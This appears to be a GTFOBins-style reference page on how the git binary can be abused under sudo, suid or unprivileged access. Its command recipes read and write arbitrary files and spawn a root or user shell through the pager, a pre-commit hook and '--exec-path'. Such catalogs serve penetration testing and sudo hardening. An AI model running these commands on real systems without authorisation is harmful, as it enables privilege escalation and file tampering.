git

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/git/

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/git/

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/git/

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

file-write

MITRE

T1565

Refs

gtfobins.github.io/gtfobins/git/

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

file-write

MITRE

T1565

Refs

gtfobins.github.io/gtfobins/git/

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

file-write

MITRE

T1565

Refs

gtfobins.github.io/gtfobins/git/

git help config

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

inherit, from:less

MITRE

T1059T1005T1565

Refs

gtfobins.github.io/gtfobins/git/

git help config

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

inherit, from:less

MITRE

T1059T1005T1565

Refs

gtfobins.github.io/gtfobins/git/

The help system can also be reached from any `git` command, e.g., `git branch`.

git branch --help config
!/bin/sh

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

inherit, from:less

MITRE

T1059T1005T1565

Refs

gtfobins.github.io/gtfobins/git/

The help system can also be reached from any `git` command, e.g., `git branch`.

git branch --help config
!/bin/sh

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

inherit, from:less

MITRE

T1059T1005T1565

Refs

gtfobins.github.io/gtfobins/git/

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

ln -s /bin/sh git-x
git --exec-path=. x

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

ln -s /bin/sh git-x
git --exec-path=. x -p

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/

ln -s /bin/sh git-x
git --exec-path=. x

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/git/